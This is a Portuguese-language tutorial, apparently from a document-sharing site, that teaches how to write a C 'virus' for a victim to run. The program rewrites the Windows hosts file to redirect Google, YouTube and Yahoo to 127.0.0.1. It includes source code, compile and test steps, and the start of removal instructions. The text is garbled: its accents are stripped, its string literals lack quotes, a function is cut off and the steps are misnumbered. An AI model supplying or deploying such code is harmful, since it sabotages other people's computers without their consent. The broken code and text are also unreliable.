Escolar Documentos
Profissional Documentos
Cultura Documentos
A maioria de ns esto familiarizados com o vrus que utilizado para bloquear o Orkut e Youtube. Se voc estiver curioso sobre como criar um tal vrus em seu prprio website, ento voc est no local ideal. Aqui vou-lhe ensinar como criar um simples vrus que bloqueia websites. E como j habitual, vou usar a minha favorita linguagem de programao "C" para criar este site bloqueando virus. Vou dar uma breve introduo sobre este vrus, antes de eu saltar para a parte tcnica.
Este vrus foi criado exclusivamente em 'C'. Ento, algum com um conhecimento bsico de C ser capaz de compreender o funcionamento do virus. Este vrus tem a necessidade de ser carregado uma nica vez pela vitima. Assim que a vitima clica no ficheiro, uma lista de sites especificado no programada criada. A vtima nunca ser capaz de navegar os sites a no ser que reinstale o sistema. Este bloqueio no se limita ao IE ou Firefox. Uma vez bloqueado, o site no vai aparecer em qualquer navegador.
char site_list[6][30]={ google.com, www.google.com, youtube.com, www.youtube.com, yahoo.com, www.yahoo.com }; char ip[12]=127.0.0.1; FILE *target;
int find_root() {
done=findfirst(C:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(C:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }
done=findfirst(D:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(D:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }
done=findfirst(E:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC); /*to determine the root drive*/ if(done==0) { target=fopen(E:\\windows\\system32\\drivers\\etc\\hosts,r+); /*to open the file*/ return 1; }
else return 0; }
void block_site() { int i; fseek(target,0,SEEK_END); /*to move to the end of the file*/
Como compila?
3. Para testar, execute o mdulo compilado. Ele ir bloquear os sites que est listado no cdigo fonte.
4. Depois de executar o arquivo block_Site.exe, reinicie o seu navegador. A seguir, digite a URL do site bloqueado e voc ver o navegador mostrando erro "Pgina no exibida".
4. Para remover o vrus faa o seguinte em executar do windows. % windir% \ system32 \ drivers \ etc
5. L, abra o arquivo chamado "hosts", utilizando o notepad. Abrindo o arquivo voc vai ver algo como isso